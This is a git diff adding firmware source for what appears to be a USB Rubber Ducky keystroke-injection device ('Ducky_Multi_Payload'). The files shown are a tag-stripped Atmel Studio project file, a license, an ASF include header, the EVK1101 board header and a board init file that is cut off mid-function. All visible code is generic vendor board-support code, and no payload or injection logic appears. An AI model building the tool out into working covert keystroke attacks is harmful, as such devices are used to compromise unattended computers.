a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.cproj b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.cproj new file mode 100644 index 0000000..5960908 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.cproj @@ -0,0 +1,649 @@ + + + + 2.0 + 5.1 + fee31e0f-40f4-11e0-93cf-000c29a22d21 + AT32UC3B0256 + uc3b + $(MSBuildProjectDirectory)\$(Configuration) + + $(MSBuildProjectName) + $(MSBuildProjectName) + $(MSBuildProjectName) + Executable + C + com.Atmel.AVRGCC32 + Native + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 2.5.1 + + + duck + .elf + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize for size (-Os) + -fdata-sections + True + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + + + m + + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + duck + .elf + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize (-O1) + -fdata-sections + True + Maximum (-g3) + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + + + m + + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/license.txt b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/license.txt new file mode 100644 index 0000000..9c6d299 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/license.txt @@ -0,0 +1,34 @@ +/** + * Main file of the USB mass-storage example. + * + * Copyright (c) 2009-2012 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + * + */ \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf.h new file mode 100644 index 0000000..9f340b3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf.h @@ -0,0 +1,102 @@ +/** + * \file + * + * \brief Autogenerated API include file for the AVR Software Framework (ASF) + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef ASF_H +#define ASF_H + +/* + * This file includes all API header files for the selected drivers from ASF. + * Note: There might be duplicate includes required by more than one driver. + * + * The file is automatically generated and will be re-written when + * running the ASF driver selector tool. Any changes will be discarded. + */ + +// From module: CPU - Interrupt management +#include + +// From module: CPU - PM - Power Manager +#include +#include + +// From module: CPU - SLEEP - Sleep manager +#include +#include + +// From module: FAT file system +#include +#include +#include +#include + +// From module: GPIO - General-Purpose Input/Output +#include + +// From module: MEMORY - FLASHC - Flash Controller +#include + +// From module: MEMORY - Memory Control Access +#include + +// From module: SPI - Serial Peripheral Interface +#include + +// From module: TIMING - Clock Control +#include + +// From module: USB Device Stack Core +#include +#include + +// From module: USB HID Device protocol +#include + +// From module: USB HID Keyboard (Single Interface Device) +#include + +// From module: USB HID Library (Device) +#include + +// From module: UTILITY - Compiler abstraction layer and code utilities +#include +#include + +// From module: UTILITY - Generic board support +#include + +#endif // ASF_H diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/evk1101.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/evk1101.h new file mode 100644 index 0000000..b4f47ea --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/evk1101.h @@ -0,0 +1,290 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board header file. + * + * This file contains definitions and services related to the features of the + * EVK1101 board rev. A and B. + * + * To use this board, define BOARD=EVK1101. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _EVK1101_H_ +#define _EVK1101_H_ + +#include "compiler.h" + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. +# include "led.h" +#endif // __AVR32_ABI_COMPILER__ + + +/*! \name Oscillator Definitions + */ +//! @{ + +#if UC3B +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. +#elif UC3D +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_SCIF_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_SCIF_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. + +#endif + +// Osc1 crystal is not mounted by default. Set the following definitions to the +// appropriate values if a custom Osc1 crystal is mounted on your board. +//#define FOSC1 12000000 //!< Osc1 frequency: Hz. +//#define OSC1_STARTUP AVR32_PM_OSCCTRL1_STARTUP_2048_RCOSC //!< Osc1 startup time: RCOsc periods. + +//! @} + +/* These are documented in services/basic/clock/uc3b0_b1/osc.h */ +#define BOARD_OSC0_HZ 12000000 +#define BOARD_OSC0_STARTUP_US 17000 +#define BOARD_OSC0_IS_XTAL true +#define BOARD_OSC32_HZ 32768 +#define BOARD_OSC32_STARTUP_US 71000 +#define BOARD_OSC32_IS_XTAL true + +/*! \name USB Definitions + */ +//! @{ + +//! Multiplexed pin used for USB_ID: AVR32_USBB_USB_ID_x_x. +//! To be selected according to the AVR32_USBB_USB_ID_x_x_PIN and +//! AVR32_USBB_USB_ID_x_x_FUNCTION definitions from . +#define USB_ID AVR32_USBB_USB_ID_0_0 + +//! Multiplexed pin used for USB_VBOF: AVR32_USBB_USB_VBOF_x_x. +//! To be selected according to the AVR32_USBB_USB_VBOF_x_x_PIN and +//! AVR32_USBB_USB_VBOF_x_x_FUNCTION definitions from . +#define USB_VBOF AVR32_USBB_USB_VBOF_0_0 + +//! Active level of the USB_VBOF output pin. +#define USB_VBOF_ACTIVE_LEVEL LOW + +//! USB overcurrent detection pin. +#define USB_OVERCURRENT_DETECT_PIN AVR32_PIN_PA20 + +//! @} + + +//! Number of LEDs. +#define LED_COUNT 4 + +/*! \name GPIO Connections of LEDs + */ +//! @{ +#define LED0_GPIO AVR32_PIN_PA07 +#define LED1_GPIO AVR32_PIN_PA08 +#define LED2_GPIO AVR32_PIN_PA21 +#define LED3_GPIO AVR32_PIN_PA22 +//! @} + +/*! \name PWM Channels of LEDs + */ +//! @{ +#define LED0_PWM 0 +#define LED1_PWM 1 +#define LED2_PWM 2 +#define LED3_PWM 6 +//! @} + +/*! \name PWM Functions of LEDs + */ +//! @{ +#define LED0_PWM_FUNCTION AVR32_PWM_0_0_FUNCTION +#define LED1_PWM_FUNCTION AVR32_PWM_1_0_FUNCTION +#define LED2_PWM_FUNCTION AVR32_PWM_2_0_FUNCTION +#define LED3_PWM_FUNCTION AVR32_PWM_6_0_FUNCTION +//! @} + +/*! \name Color Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED_MONO0_GREEN LED0 +#define LED_MONO1_GREEN LED1 +#define LED_MONO2_GREEN LED2 +#define LED_MONO3_GREEN LED3 +//! @} + + +/*! \name GPIO Connections of Push Buttons + */ +//! @{ +#define GPIO_PUSH_BUTTON_0 AVR32_PIN_PB02 +#define GPIO_PUSH_BUTTON_0_PRESSED 0 +#define GPIO_PUSH_BUTTON_1 AVR32_PIN_PB03 +#define GPIO_PUSH_BUTTON_1_PRESSED 0 +//! @} + + +/*! \name GPIO Connections of the Joystick + */ +//! @{ +#define GPIO_JOYSTICK_PUSH AVR32_PIN_PA13 +#define GPIO_JOYSTICK_PUSH_PRESSED 0 +#define GPIO_JOYSTICK_LEFT AVR32_PIN_PB06 +#define GPIO_JOYSTICK_LEFT_PRESSED 0 +#define GPIO_JOYSTICK_RIGHT AVR32_PIN_PB09 +#define GPIO_JOYSTICK_RIGHT_PRESSED 0 +#define GPIO_JOYSTICK_UP AVR32_PIN_PB07 +#define GPIO_JOYSTICK_UP_PRESSED 0 +#define GPIO_JOYSTICK_DOWN AVR32_PIN_PB08 +#define GPIO_JOYSTICK_DOWN_PRESSED 0 +//! @} + + +/*! \name ADC Connection of the Temperature Sensor + */ +//! @{ +#define ADC_TEMPERATURE_CHANNEL 7 +#define ADC_TEMPERATURE_PIN AVR32_ADC_AD_7_PIN +#define ADC_TEMPERATURE_FUNCTION AVR32_ADC_AD_7_FUNCTION +//! @} + + +/*! \name ADC Connection of the Light Sensor + */ +//! @{ +#define ADC_LIGHT_CHANNEL 6 +#define ADC_LIGHT_PIN AVR32_ADC_AD_6_PIN +#define ADC_LIGHT_FUNCTION AVR32_ADC_AD_6_FUNCTION +//! @} + + +/*! \name ADC Connections of the Accelerometer + */ +//! @{ +#define ADC_ACC_X_CHANNEL 1 +#define ADC_ACC_X_PIN AVR32_ADC_AD_1_PIN +#define ADC_ACC_X_FUNCTION AVR32_ADC_AD_1_FUNCTION +#define ADC_ACC_Y_CHANNEL 2 +#define ADC_ACC_Y_PIN AVR32_ADC_AD_2_PIN +#define ADC_ACC_Y_FUNCTION AVR32_ADC_AD_2_FUNCTION +#define ADC_ACC_Z_CHANNEL 3 +#define ADC_ACC_Z_PIN AVR32_ADC_AD_3_PIN +#define ADC_ACC_Z_FUNCTION AVR32_ADC_AD_3_FUNCTION +//! @} + + +/*! \name PWM Connections of Audio + */ +//! @{ +#define AUDIO_LOW_PWM_CHANNEL 5 +#define AUDIO_LOW_PWM_PIN AVR32_PWM_5_0_PIN +#define AUDIO_LOW_PWM_FUNCTION AVR32_PWM_5_0_FUNCTION +#define AUDIO_HIGH_PWM_CHANNEL 6 +#define AUDIO_HIGH_PWM_PIN AVR32_PWM_6_1_PIN +#define AUDIO_HIGH_PWM_FUNCTION AVR32_PWM_6_1_FUNCTION +//! @} + + +/*! \name SPI Connections of the AT45DBX Data Flash Memory + */ +//! @{ +#define AT45DBX_SPI (&AVR32_SPI) +#define AT45DBX_SPI_NPCS 0 +#define AT45DBX_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define AT45DBX_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define AT45DBX_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define AT45DBX_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define AT45DBX_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define AT45DBX_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define AT45DBX_SPI_NPCS0_PIN AVR32_SPI_NPCS_0_0_PIN +#define AT45DBX_SPI_NPCS0_FUNCTION AVR32_SPI_NPCS_0_0_FUNCTION +//! @} + + +/*! \name GPIO and SPI Connections of the SD/MMC Connector + */ +//! @{ +#define SD_MMC_CARD_DETECT_PIN AVR32_PIN_PB00 +#define SD_MMC_WRITE_PROTECT_PIN AVR32_PIN_PB01 +#define SD_MMC_SPI (&AVR32_SPI) +#define SD_MMC_SPI_NPCS 1 +#define SD_MMC_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SD_MMC_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SD_MMC_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SD_MMC_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SD_MMC_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SD_MMC_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SD_MMC_SPI_NPCS_PIN AVR32_SPI_NPCS_1_0_PIN +#define SD_MMC_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_1_0_FUNCTION +//! @} + + +/*! \name TWI Connections of the Spare TWI Connector + */ +//! @{ +#define SPARE_TWI (&AVR32_TWI) +#define SPARE_TWI_SCL_PIN AVR32_TWI_SCL_0_0_PIN +#define SPARE_TWI_SCL_FUNCTION AVR32_TWI_SCL_0_0_FUNCTION +#define SPARE_TWI_SDA_PIN AVR32_TWI_SDA_0_0_PIN +#define SPARE_TWI_SDA_FUNCTION AVR32_TWI_SDA_0_0_FUNCTION +//! @} + + +/*! \name SPI Connections of the Spare SPI Connector + */ +//! @{ +#define SPARE_SPI (&AVR32_SPI) +#define SPARE_SPI_NPCS 2 +#define SPARE_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SPARE_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SPARE_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SPARE_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SPARE_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SPARE_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SPARE_SPI_NPCS_PIN AVR32_SPI_NPCS_2_0_PIN +#define SPARE_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_2_0_FUNCTION +//! @} + + +#endif // _EVK1101_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/init.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/init.c new file mode 100644 index 0000000..e9c29b5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/init.c @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief EVK1101 board init. + * + * This file contains board initialization function. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR + * - Supported devices: All AVR UC3 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + + +#include "compiler.h" +#include "evk1101.h" +#include "conf_board.h" +#include "gpio.h" +#include "board.h" + +#if defined (CONF_BOARD_AT45DBX) +#define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); + +#if defined (CONF_BOARD_AT45DBX) + static const gpio_map_t AT45DBX_SPI_GPIO_MAP = + { + {AT45DBX_SPI_SCK_PIN, AT45DBX_SPI_SCK_FUNCTION }, // SPI Clock. + {AT45DBX_SPI_MISO_PIN, AT45DBX_SPI_MISO_FUNCTION }, // MISO. + {AT45DBX_SPI_MOSI_PIN, AT45DBX_SPI_MOSI_FUNCTION }, // MOSI. + #define AT45DBX_ENABLE_NPCS_PIN(NPCS, unused) \ + {AT45DBX_SPI_NPCS##NPCS##_PIN, AT45DBX_SPI_NPCS##NPCS##_FUNCTION}, // Chip Select NPCS. + MREPEAT(AT45DBX_MEM_CNT, AT45DBX_ENABLE_NPCS_PIN, ~) + #undef AT45DBX_ENABLE_NPCS_PIN + }; + + // Assign I/Os to SPI. + gpio_enable_module(AT45DBX_SPI_GPIO_MAP, + sizeof(AT45DBX_SPI_GPIO_MAP) / sizeof(AT45DBX_SPI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_TWI) + static const gpio_map_t TWI_GPIO_MAP = + { + {AVR32_TWI_SDA_0_0_PIN, AVR32_TWI_SDA_0_0_FUNCTION}, + {AVR32_TWI_SCL_0_0_PIN, AVR32_TWI_SCL_0_0_FUNCTION} + }; + + // TWI gpio pins configuration + gpio_enable_module(TWI_GPIO_MAP, sizeof(TWI_GPIO_MAP) / sizeof(TWI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_COM_PORT) + static const gpio_map_t COMPORT_GPIO_MAP = + { + {AVR32_USART1_RXD_0_0_PIN, AVR32_USART1_RXD_0_0_FUNCTION }, + {AVR32_USART1_TXD_0_0_PIN, AVR32_USART1_TXD_0_0_FUNCTION } + }; + + // Assign I/Os to USART. 